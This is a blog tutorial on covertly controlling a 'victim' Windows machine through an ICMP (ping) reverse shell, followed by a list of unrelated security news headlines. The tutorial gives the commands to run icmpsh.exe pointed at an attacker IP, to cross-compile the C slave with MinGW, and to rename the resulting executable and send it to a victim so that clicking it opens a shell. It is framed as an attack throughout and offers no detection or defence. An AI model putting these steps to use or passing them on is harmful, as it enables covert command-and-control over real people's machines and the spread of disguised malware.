Tuesday, February 27, 2024

ICMP Shell- Secret Command and Control Channel to Control Victims Machine Using Ping

Corporate firewalls can block reverse and bind TCP connections. However, corporate firewalls are behind internal networks. So we can use PING as a great convert channel to get victim shell access using ICMP Shell.

Here I have used Kali Linux(Attacker Machine) and Victim Machine (Windows 10)

Attacker Machine:-

  • Download the ICMP SHELL tool Here
  • execute command  ./run.sh shell script with 777 Permissions ( read, write, execute)
  • The output of the shell script command will give a piece of code icmpsh.exe -t -d 500 -b 30 -s 128.

Victim Machine:-

  • Upload “icmpsh.exe” on the victim machine.
  • Run CMD and  Execute “icmpsh.exe -t <Attackers IP> -d 500 -b 30 -s 128” as a listener.
  • Here Listener script will be icmpsh.exe -t -d 500 -b 30 -s 128.
  • Execute this with CMD  & No admin privileges are needed.

Also Read :  Operating Systems can be detected using Ping Command

Back to Attacker Machine:-

  • Once the Listener is executed on my Windows 10 victim machine, Here we got a shell with ICMP.
  • So we can start our command and control of victim’s pc.
  • So only, ICMP requests/response traffic only sent via the attacker’s machine to the victim’s machine.

Victims Click & Shell Access:-

  • If you want to compromise victim directly by clicking, you can download the c code here 
  • After downloading compile the c code directly with the known victim IP Install MinGW in Kali Linux and run the following command to compile the C file i686-w64-mingw32-gcc icmp-slave-complete.c -o icmp-slave-complete.exe
  • Now you can Rename icmp-slave-complete.exe and send it to the victim. SHELL SHELL SHELL !!!

Latest articles

Abyss Locker Ransomware Attacks Microsoft Windows and Linux Users

FortiGuard Labs has released a report detailing the emergence and impact of the Abyss...

14-Year-Old CMS Editor Flaw Exploited to Hack Govt & Edu Sites

Hackers have exploited a vulnerability in a 14-year-old Content Management System (CMS) editor, FCKeditor,...

Zyxel Firewall Flaw Let Attackers Execute Remote Code

Four new vulnerabilities have been discovered in some of the Zyxel Firewall and access...

Hackers Abuse Telegram API To Exfiltrate User Information

Attackers have been using keywords like "remittance" and "receipts" to spread phishing scripts using...

ThreatHunter.ai Stops Hundreds of Attacks in 48 Hours: Fighting Ransomware and Nation-State Cyber Threats

The current large surge in cyber threats has left many organizations grappling for security...

WordPress Plugin Flaw Exposes 200,000+ Websites for Hacking

A critical security flaw has been identified in the Ultimate Member plugin for WordPress,...

Hackers Actively Hijacking ConnectWise ScreenConnect server

ConnectWise, a prominent software company, issued an urgent security bulletin on February 19, 2024,...

Live Account Takeover Attack Simulation

Live Account Take Over Attack

Live Webinar on How do hackers bypass 2FA ,Detecting ATO attacks, A demo of credential stuffing, brute force and session jacking-based ATO attacks, Identifying attacks with behaviour-based analysis and Building custom protection for applications and APIs.

Related Articles